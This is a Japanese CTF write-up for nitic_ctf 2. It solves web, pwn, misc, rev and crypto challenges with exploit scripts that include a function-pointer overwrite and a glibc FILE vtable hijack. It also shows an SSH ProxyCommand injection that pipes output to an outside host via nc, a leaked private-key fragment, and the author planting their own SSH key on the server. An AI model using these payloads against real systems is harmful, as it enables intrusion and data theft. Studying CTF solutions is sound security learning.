全問解いて2位。
Web
web_meta (100, 155 solves)
フラグが書いてあるHTMLのはずなのに、ブラウザで開いても見当たりません!開発者の気持ちになって探しましょう!
:
<meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">
:
nitic_ctf{You_can_see_dev_too1!}
long flag (200, 154 solves)
:
<p id="flag">
<span>n</span><span>i</span><span>t</span><span>i</span><span>c</span><span>_</span><span>c</span><span>t</span><span>f</span><span>{</span><span>J</span><span>y</span><span>!</span><span>H</span><span>x</span><span>j</span><span>$</span><span>R</span><span>d</span><span>B</span><span>$</span><span>u</span><span>A</span><span>,</span><span>b</span><span>$</span><span>u</span><span>M</span><span>.</span><span>b</span><span>N</span><span>7</span><span>A</span><span>i</span><span>d</span><span>L</span><span>6</span><span>q</span><span>e</span><span>4</span><span>g</span><span>k</span><span>r</span><span>B</span><span>9</span><span>d</span><span>M</span><span>U</span><span>-</span><span>j</span><span>Y</span><span>8</span><span>K</span><span>U</span><span>8</span><span>2</span><span>8</span><span>B</span><span>y</span><span>P</span><span>9</span><span>E</span><span>#</span><span>Y</span><span>D</span><span>i</span><span>9</span><span>b</span><span>y</span><span>a</span><span>F</span><span>4</span><span>s</span><span>Q</span><span>-</span><span>p</span><span>/</span><span>8</span><span>3</span><span>5</span><span>r</span><span>2</span><span>6</span><span>M</span><span>T</span><span>!</span><span>Q</span><span>w</span><span>W</span><span>W</span><span>M</span><span>|</span><span>c</span><span>!</span><span>i</span><span>a</span><span>(</span><span>y</span><span>n</span><span>t</span><span>4</span><span>8</span><span>h</span><span>B</span><span>s</span><span>&</span><span>-</span><span>,</span><span>|</span><span>3</span><span>}</span>
</p>
:
<style>
p {
user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
-moz-user-select: none;
-khtml-user-select: none;
-webkit-user-drag: none;
-khtml-user-drag: none;
}
#flag {
display: none;
}
</style>
開発者ツールで<style>
を消して、コピペした。
nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}
password (300, 46 solves)
パスワードの文字が紛らわしいので、打ち間違えても通るようにしました。
:
password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])
:
def fuzzy_equal(input_pass, password):
if len(input_pass) != len(password):
return False
for i in range(len(input_pass)):
if input_pass[i] in "0oO":
c = "0oO"
elif input_pass[i] in "l1I":
c = "l1I"
else:
c = input_pass[i]
if all([ci != password[i] for ci in c]):
return False
return True
:
@app.route("/flag", methods=["POST"])
def search():
if request.headers.get("Content-Type") != 'application/json':
return make_response("Content-Type Not Allowed", 415)
input_pass = request.json.get("pass", "")
if not fuzzy_equal(input_pass, password):
return make_response("invalid password", 401)
return flag
:
input_pass
は文字列を想定しているけれど、配列を送ることもできる。
["abc...", "abc...", "abc...", ...]
というパスワードを送りつけるとどうなるか。c
が1文字ではなく、"abc..."
になって、all([ci != password[i] for ci in c])
がTrue
となる。
import requests
import json
import string
r = requests.post(
"http://34.146.80.178:8001/flag",
json.dumps({"pass": [string.ascii_letters]*32}),
headers = {"content-type": "application/json"})
print(r.text)
$ python3 attack.py
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
なるほどな~と思ったら、これは非想定解だった。
nanigasi_san — 昨日 16:53
@here [Web]password について、非想定解が存在しました。passwordについてはそのままとし、修正版のpassword fixedを公開しました。
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
password fixed (300, 13 solves)
:
def fuzzy_equal(input_pass, password):
if len(input_pass) != len(password):
return False
for i in range(len(input_pass)):
if input_pass[i] in "0oO":
if password[i] not in "0oO":
return False
continue
if input_pass[i] in "l1I":
if password[i] not in "l1I":
return False
continue
if input_pass[i] != password[i]:
return False
return True
:
こうなった。想定されている文字列以外のデータを送りつけることができるとはいえ、細工したdict
とかを送りつけても、JavaScriptみたいにおかしなことはできないと思うんだよな……。{"__dict__": {0: 1}}
とかしても変な挙動は起こらない。そもそも、文字列以外だとinput_pass[i] in "0oO"
で例外になってしまう。
……そういうことか。
input_pass = ["a", 0, 0, ...]
とすると、password[0]
が"a"
以外ならば、False
が返る。"a"
ならば、i=0
は通り、i=1
で0 in "0oO"
となり、例外が飛ぶ。これで1文字づつ総当たりができる。
import requests
import json
import string
password = ""
for i in range(32):
for c in string.ascii_letters:
p = list(password+c)+[0]*(32-len(password)-1)
r = requests.post(
"http://34.146.80.178:8002/flag",
json.dumps({"pass": p}),
headers = {"content-type": "application/json"})
if r.status_code!=401:
password += c
break
print(i, password)
$ python3 attack.py
0 r
1 rm
2 rmW
3 rmWt
:
30 rmWtcmbNUoKPoMECAtYwXKxyoCbbtXN
31 rmWtcmbNUoKPoMECAtYwXKxyoCbbtXNo
rmWtcmbNUoKPoMECAtYwXKxyoCbbtXNo
を入力するとフラグが出てくる。
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}
Is it Shell? (500, 3 solves)
WeTTY。初心者向けのCTFでたまに見る、ブラウザからターミナルを使えるようにしているやつ。
配布ファイル。
--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
const fileDownloader = new FileDownloader();
term.onData((data: string) => {
- socket.emit('input', data);
+ socket.emit('input', data.replace(/-/g, ''));
});
term.onResize((size: { cols: number; rows: number }) => {
socket.emit('resize', size);
GitHubのほうでは、OSコマンドインジェクションの対策っぽい修正が入っている。この問題ではクライアントサイドで-
を入力できなくしている。
とりあえず、Google ChromeのLocal Overrides機能でこのチェックを潰して、-
を入力できるようにする。
普通はこう。
Enter your username: hoge
hoge@flagserver's password:
Permission denied, please try again.
hoge@flagserver's password:
ユーザー名に-
を付けてみるとこう。
Enter your username: -hoge
unknown option -- h
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]
色々と試してみると、ssh <username>@flagserver
のようなコマンドが実行されているところに、-
が入力できるのでオプション扱いにできるらしい。あくまで1個の引数を好きにできるだけ。hoge'; cat /etc/passwd;
みたいなことはできない。
必須の引数のdestination
がオプション扱いになってしまうし、それで何かできるのかな……とssh
のマニュアルを探すと、良いものがあった。
$ man ssh
:
-o option
Can be used to give options in the format used in the configuration file.
This is useful for specifying options for which there is no separate com‐
mand-line flag. For full details of the options listed below, and their
possible values, see ssh_config(5).
AddKeysToAgent
AddressFamily
BatchMode
:
$ man ssh_config
:
ProxyCommand
Specifies the command to use to connect to the server. The command string
extends to the end of the line, and is executed using the user's shell
‘exec’ directive to avoid a lingering shell process.
Arguments to ProxyCommand accept the tokens described in the TOKENS sec‐
tion. The command can be basically anything, and should read from its
standard input and write to its standard output. It should eventually con‐
nect an sshd(8) server running on some machine, or execute sshd -i some‐
where. Host key management will be done using the HostName of the host
being connected (defaulting to the name typed by the user). Setting the
command to none disables this option entirely. Note that CheckHostIP is
not available for connects with a proxy command.
This directive is useful in conjunction with nc(1) and its proxy support.
For example, the following directive would connect via an HTTP proxy at
192.0.2.0:
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
:
Enter your username: -o ProxyCommand=id | nc my-server.example.com 8888;
>ncat -l 8888
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)
OK。;
は後に追加される@flagserver
を無効化するため。標準出力が出てこないが、nc
に飛ばせば良い。エラーが表示されるときもあるから、id >&2
とすれば出てきそうなものだけど、ダメで良く分からん。こんなことをいちいちするのも面倒だからリバースシェルを貼りたいけど、なぜか/bin/sh
が見つからないと言われて謎。
それでサーバーを漁ってもフラグは無し。
/home/ubuntu/note
login to flag@flagserver
/home/ubuntu/id_rsa_flag
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA4FabBbtlhJY8b8W/oM2yiyJffK2Zkeri8s02RaN+bOm0d8GPRoVr
3gQ947xGaY520kz5NpQR+PEInd5AdcUSWtxL3ucxdmVlFmaL5BEwHzsatGdCV/tTNguQ7n
FPR/3HotdzjEmq6yrpVk1PdcLeFyRJ0bEUhac18DMzBTZqehUIHjvG5e1uFPlQDJIClbDV
:
というファイルがある。
sshの-o
オプションは、-o hoge=fuga -o piyo=aaa
という使い方をするものらしく、この問題の状況では、この秘密鍵とユーザー、接続先を指定するようなことはできない。まあ、id
の代わりにssh
コマンドを実行すれば良いと思ったが……ダメ。
Enter your username: -o ProxyCommand=ssh -i /home/ubuntu/id_rsa_flag flag@flagserver id;
Load key "/home/ubuntu/id_rsa_flag": invalid format
flag@flagserver's password:
ここで悩んだ。id_rsa_flagの最後に改行が無いからだった。何かこれでも動くような秘密鍵の指定方法があるのか、それとも元々の脆弱性でも同じ状況があって突くときにも引っ掛かるところなのか……。
追記。インターネットからflagserverに繋がるのか。てっきり、表のサーバーからしかアクセスできないと思っていた。
-Is it Shell?
— 自己言及 (@internal_human) September 6, 2021
修正したので作者等に許諾を得て問題に。option injectionがremote-user headerから可能。man sshからProxyCommandがわかりrceし秘密鍵とflagserverのipを取りssh#nitic_ctf_2
ファイルをどこかにコピーして、改行を追加して、(sshに怒られるので)パーミッションを変えて……が面倒。問題サーバーのSSHポートが空いていて、~/.ssh/authorized_keys が書き込み可能だったから、自分の公開鍵を追加してSSH接続した。ミスると他の参加者への妨害になっちゃうので良くない。
flagserverにログインできれば、置いてあるフラグを見るだけ。
ubuntu@ip-172-31-45-150:/tmp/hogehoge$ ssh -i id_rsa_flag flag@flagserver
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64)
:
Last login: Sun Sep 5 07:38:07 2021 from 118.6.7.175
$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Sep 4 22:06 .
drwxr-xr-x 4 root root 4096 Sep 4 22:03 ..
drwxr-xr-x 2 root root 4096 Sep 4 22:13 .ssh
-rw-r--r-- 1 root root 33 Sep 4 22:05 flag.txt
$ cat flag.txt
nitic_ctf{shell_in_the_webshell}
nitic_ctf{shell_in_the_webshell}
Pwn
pwn monster 1 (200, 120 solves)
pwn monsterが完成しました!ライバルのpwnchuは最強で、バグ技を使わない限りは勝てないでしょう。
:
typedef struct {
char name[16];
int64_t hp;
int64_t attack;
} Monster;
:
name
の後にhp
やattack
があるので、適当に壊す。
$ nc 35.200.120.35 9001
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
Input name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+--------+--------------------+----------------------+
|name | 0x6161616161616161 | aaaaaaaa |
| | 0x6161616161616161 | aaaaaaaa |
|HP | 0x6161616161616161 | 7016996765293437281 |
|ATK | 0x0000616161616161 | 107070873493857 |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took 107070873493857 damage!
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HP: 7016996765293437281
[Rival] pwnchu HP: -107070873483858
Win!
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
pwn monster 2 (300, 65 solves)
pwn monster 2ではバグ技を検知する機構を追加しました。
hp
とattack
の合計が変化していない(110のままかどうか)というチェックが入っている。
適当ではなく、ちゃんと考えて壊しましょう。hp
が負だとダメ。attack
が負だと、相手は回復することになるが、回復しすぎて死ぬ。
$ echo -e 'aaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\x7f\x6f\x00\x00\x00\x00\x00\x00\x80' | nc 35.200.120.35 9002
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: +--------+--------------------+----------------------+
|name | 0x6161616161616161 | aaaaaaaa |
| | 0x6161616161616161 | aaaaaaaa |
|HP | 0x7fffffffffffffff | 9223372036854775807 |
|ATK | 0x800000000000006f | -9223372036854775697 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaao HP: 9223372036854775807
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -9223372036854775697 damage!
[You] aaaaaaaaaaaaaaaao HP: 9223372036854775807
[Rival] pwnchu HP: -9223372036854765920
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}
nitic_ctf{buffer_and_1nteger_overfl0w}
pwn monster 3 (300, 50 solves)
:
void show_flag() {
FILE* fp = fopen("./flag.txt", "r");
:
typedef struct {
char name[16];
int64_t hp;
int64_t attack;
char* (*cry)();
} Monster;
char* pwnchu_cry() {
return "pwnchu!";
}
char* my_monster_cry() {
return "GRRRR....";
}
:
cry
にshow_flag
のアドレスを入れれば良い。PIEが有効なので、最初の表示からmy_monster_cry
のアドレスを取得して計算。
from pwn import *
elf = ELF("vuln")
context.binary = elf
s = remote("35.200.120.35", 9003)
s.recvuntil("cry() | 0x")
my_monster_cry = unpack(bytes.fromhex(s.read(16).decode())[::-1])
elf.address = my_monster_cry - elf.symbols.my_monster_cry
s.sendlineafter("Input name: ", b"a"*32+pack(elf.symbols.show_flag))
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/nitic_ctf_2/pwn monster 3/vuln'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.200.120.35 on port 9003: Done
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name | 0x6161616161616161 | aaaaaaaa |
| | 0x6161616161616161 | aaaaaaaa |
|HP | 0x6161616161616161 | 7016996765293437281 |
|ATK | 0x6161616161616161 | 7016996765293437281 |
|cry() | 0x00005608c301e286 | |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xe2\xcV HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.
nitic_ctf{rewrite_function_pointer_is_fun}
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xe2\xcV: (null)
Rival monster took 7016996765293437281 damage!
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xe2\xcV HP: 7016996765293437281
[Rival] pwnchu HP: -7016996765293427282
Win!
Rival: I don't want to give you FLAG! bye~~
[*] Got EOF while reading in interactive
$
nitic_ctf{rewrite_function_pointer_is_fun}
baby_IO_jail (500, 5 solves)
ソースコードはこれだけ。
#include<stdio.h>
#include<unistd.h>
void main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
jail:
read(0,stdout,0x300);
puts("back to jail");
goto jail;
}
File stream oriented programming。
*stdout
の型は、この_IO_FILE_plus
。
:
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
:
FILE
は_IO_FILE
。
:
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
:
setvbuf(stdout, NULL, _IONBF, 0)
でバッファリングが無効化されているとき、_IO_FILE
中の各種バッファのポインタは_shortbuf
を指している。バッファのポインタを書き換えると周囲のデータをリークさせられる。
vtable
を書き換え、偽の関数テーブルを指すようにし、その関数テーブルにsystem
とかを書いておけばシェルが取れる。ただし、vtable
の指す先は__libc_IO_vtables
セクションでないといけない。書き込めるのがstdout
だけでどうするんだこれ……と思ったら、libc-2.31ではstdout
のすぐ後ろに__libc_IO_vtables
があった。
$ readelf -s libc-2.31.so | grep _IO_2_1_stdout_
850: 00000000001ec6a0 224 OBJECT GLOBAL DEFAULT 31 _IO_2_1_stdout_@@GLIBC_2.2.5
$ readelf -S libc-2.31.so | grep __libc_IO_vtables
[33] __libc_IO_vtables PROGBITS 00000000001ec8a0 001eb8a0
後はやるだけなのだが、途中でエラーにならないようにするのが面倒。いつもはWSLのUbuntu 18を使っているところ、Ubuntu 20を引っ張り出してきて手元で動かし、gdbやソースコードと睨めっこして何とかした。
from pwn import *
context.arch = "amd64"
s = remote("18.117.194.78", 13377)
s.send(
# _IO_CURRENTLY_PUTTING(0x0800)を立てると、
# _IO_new_file_overflow中でバッファへのポインタを弄る処理をスルーできる
pack(0xfbad3887) + # _flags
pack(0) + # _IO_read_ptr
pack(0) + # _IO_read_end
pack(0) + # _IO_read_base
bytes([0x00])) # _IO_write_base
# _IO_write_baseは_shortbuf(0x?????????????123)を指している
# 0x?????????????100に書き換えると、_markes以降のデータが出力される
# chainは_IO_2_1_stdin_を指しているので、libcのアドレスが取得できる
s.recv(8)
_IO_2_1_stdin_ = unpack(s.recv(8))
libc = ELF("libc-2.31.so")
libc.address = _IO_2_1_stdin_-libc.symbols._IO_2_1_stdin_
__libc_IO_vtables = libc.address + 0x1ec8a0
payload = (
# _IO_USER_LOCK(0x8000)を立てると、ロックを掛ける処理をスルーできる
b"/\x80;/bin/sh\0\0\0\0\0\0" +
bytes(0xc8) +
pack(__libc_IO_vtables)) # vtable
payload = payload.ljust(__libc_IO_vtables-libc.symbols._IO_2_1_stdout_)
# __libc_IO_vtables
payload += (
bytes(0x38) +
pack(libc.symbols.system)) # xputn
s.send(payload)
s.interactive()
$ python3 attack.py
[+] Opening connection to 18.117.194.78 on port 13377: Done
[*] '/mnt/d/documents/ctf/nitic_ctf_2/baby_IO_jail/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x00\x00ack to jail
sh: 1: /\x80: not found
$ ls -al
total 36
drwxr-xr-x 1 root user 4096 Sep 4 21:49 .
drwxr-xr-x 1 root root 4096 Sep 4 21:49 ..
-r--r--r-- 1 root user 36 Sep 4 21:41 flag
-r-xr-xr-x 1 root user 81 Sep 4 21:49 start.sh
-r-xr-xr-x 1 root user 16824 Sep 4 21:40 vuln
$ cat flag
nitic_ctf{it_is_pointless_for_us}
~
$
nitic_ctf{it_is_pointless_for_us}
Misc
Excel (100, 133 solves)
Excelファイルのあるセルにフラグが書かれています!見つけて下さい!
全選択 → コピー → 適当なエディタに貼り付け。
nitic_ctf{plz_find_me}
image_conv (200, 115 solves)
白背景に薄い色でフラグが書かれている。
環境によってめちゃ簡単に解けてしまうということで、途中で修正された。
良いモニタを使うなり、適当な画像処理ソフトを使うなり。
nitic_ctf{high_contrast}
braincheck (300, 36 solves)
brainf*ck。こう整形すると読みやすいだろうか。
>,>
,[>+>+<<-] >>[<<+>>-]<< [-<->]<----- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++++++++++++++++++++++++++++++++++++++++++++ [<----->-]< [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++ [<----->-]<- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<------ [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<---- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++++++++++++++++++++++++++++++++++++++++++ [<----->-]<----[<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++ [<----->-]<----[<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++++++++++++++++++++++++++++++++++++++++++ [<----->-]< [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++ [<----->-]<-- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++ [<----->-]<-- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<---- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++ [<----->-]< [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++ [<----->-]<--- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<--------- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<------ [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++ [<----->-]<- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++ [<----->-]<----[<+>[-]]>>[<<+>>-]<
,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]
直前の文字との差分がある値になるかどうかをチェックしている。<---...
の行は、-
の個数がそのまま差分。+++...+[<----->-]<--...
の行は、+
の個数の5倍に末尾の-
を加えた数。
F = [ord("n")]
F += [F[-1]- 5]
F += [F[-1]-49*5 ]
F += [F[-1]- 2*5-1]
F += [F[-1]- 6]
F += [F[-1]- 4]
F += [F[-1]-50*5-2]
F += [F[-1]-47*5-4]
F += [F[-1]- 2*5-4]
F += [F[-1]-47*5 ]
F += [F[-1]- 4*5-2]
F += [F[-1]-48*5-2]
F += [F[-1]- 4]
F += [F[-1]-50*5-1]
F += [F[-1]- 3*5 ]
F += [F[-1]-48*5-3]
F += [F[-1]- 9]
F += [F[-1]- 6]
F += [F[-1]- 7*5-1]
F += [F[-1]-38*5-4]
print("".join(chr(f%256) for f in F))
$ python3 solve.py
nitic_ctf{esoteric?}
nitic_ctf{esoteric?}
Rev
protected (200, 105 solves)
$ strings chall
:
PASSWORD:
sUp3r_s3Cr37_P4s5w0Rd
Invalid password.
:
$ ./chall
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}
nitic_ctf{hardcode_secret}
report or repeat (300, 22 solves)
マルウェアの仕業により大事なレポートが暗号化されてしまった!レポートの締め切りは9/6の24時まで。暗号化プログラムを解読してレポートを取り戻し、留年を回避しましょう。
暗号化前のファイルを消さない優しいマルウェア。
ファイルを0x100バイトごとのブロックP
に分けて、
for (int i=0; i<0x100; i++)
C[i] = T2[P[T1[i]]]^T3[i];
という暗号化をしている。テーブルの置き場所が、.data
、.rodata
、スタックでややこしい。問題バイナリを読むのではなく、動かしてメモリをダンプしたほうが楽だったかもしれない。
elf = open("encrypter", "rb").read()
T1 = list(elf[0x3020:0x3120])
T2 = list(elf[0x2008:0x2108])
T3 = []
for i in range(9):
T3 += list(elf[i*0x22+0x1237:i*0x22+0x123f])
T3 += list(elf[i*0x22+0x1241:i*0x22+0x1249])
for i in range(7):
T3 += list(elf[i*0x1c+0x1369:i*0x1c+0x1371])
T3 += list(elf[i*0x1c+0x1373:i*0x1c+0x137b])
enc = open("report.pdf.enc", "rb")
dec = open("report.pdf", "wb")
while True:
C = enc.read(0x100)
if C==b"":
break
P = [0]*0x100
for i in range(256):
P[T1[i]] = T2.index(C[i]^T3[i])
dec.write(bytes(P))
Crypto
Caesar Cipher (100, 144 solves)
フラグの中身がシーザー暗号で暗号化されています。 暗号化されたフラグの中身は
fdhvdu
です。
nitic_ctf{caesar}
ord_xor (300, 94 solves)
import os
flag = os.environ["FLAG"]
def xor(c: str, n: int) -> str:
temp = ord(c)
for _ in range(n):
temp ^= n
return chr(temp)
enc_flag = ""
for i in range(len(flag)):
enc_flag += xor(flag[i], i)
with open("./flag", "w") as f:
f.write(enc_flag)
暗号化前の文字列に、文字列に依存しない値をxorしているだけなので、もう1回この関数に掛ければ元に戻る。
flag = "nhtjcZcsfroydRx`rl"
def xor(c: str, n: int) -> str:
temp = ord(c)
for _ in range(n):
temp ^= n
return chr(temp)
print("".join(xor(flag[i], i) for i in range(len(flag))))
$ python3 solve.py
nitic_ctf{ord_xor}
問題名がそのままフラグで良いのかなw
nitic_ctf{ord_xor}
tanitu_kanji (300, 65 solves)
換字式暗号。置換表がafter1
とafter2
の2個あって、どちらかを選んで暗号化することを10回繰り返す。各回にどちらを使ったかは分からない。
$2^{10}=1024$だから全探索すれば良い。
flag = "l0d0pipdave0dia244im6fsp8x"
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"
def conv(s, t):
return "".join(alphabets[t.index(c)] for c in s)
for b in range(2**10):
f = flag
for i in range(10):
f = conv(f, [after1, after2][b>>i&1])
print(f)
$ python3 solve.py
nlmlzazmrp_lmarktta}fs6z7j
{rcr1l1ctwgrcltyddl_h6q1az
w676bfb7t0y67ftjxxf82}ub3k
:
nofo1s1f2qgofs2z88s6djc1k9
nitic_ctf{bit_full_search}
wfkf7i7kl98fkilmqqibor47_c
:
nitic_ctf{bit_full_search}
summeRSA (300, 32 solves)
彼も平文の一部がわかっていれば鼻血を出すまで解読を試みることはなかったかもしれません。
summeR WARS。
from Crypto.Util.number import *
from random import getrandbits
with open("flag.txt", "rb") as f:
flag = f.read()
assert len(flag) == 18
p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q
m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)
e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)
print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")
b"the magic ..."
の部分を$m_1$、flag
を$m_2$とすると、
c \equiv \left(m_1\times 2^{18\times 8}+m_2\right)^7 \mod n
となる。$c$と$m_1$は定数なので、$m_2$が変数の方程式となる。この方程式の最高次数は7で、$|m_2|<n^{\frac{1}{7}}$を満たす。これは解ける。Coppersmith method。SageMathに実装がある。
……と思ったけど解けないな。epsilon
を小さくすると計算が終わらない。条件ギリギリなのが悪いのか。flag
の先頭がnitic_ctf{
ということは分かっているので、これも$m_1$に含めれば良いだろう。
N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
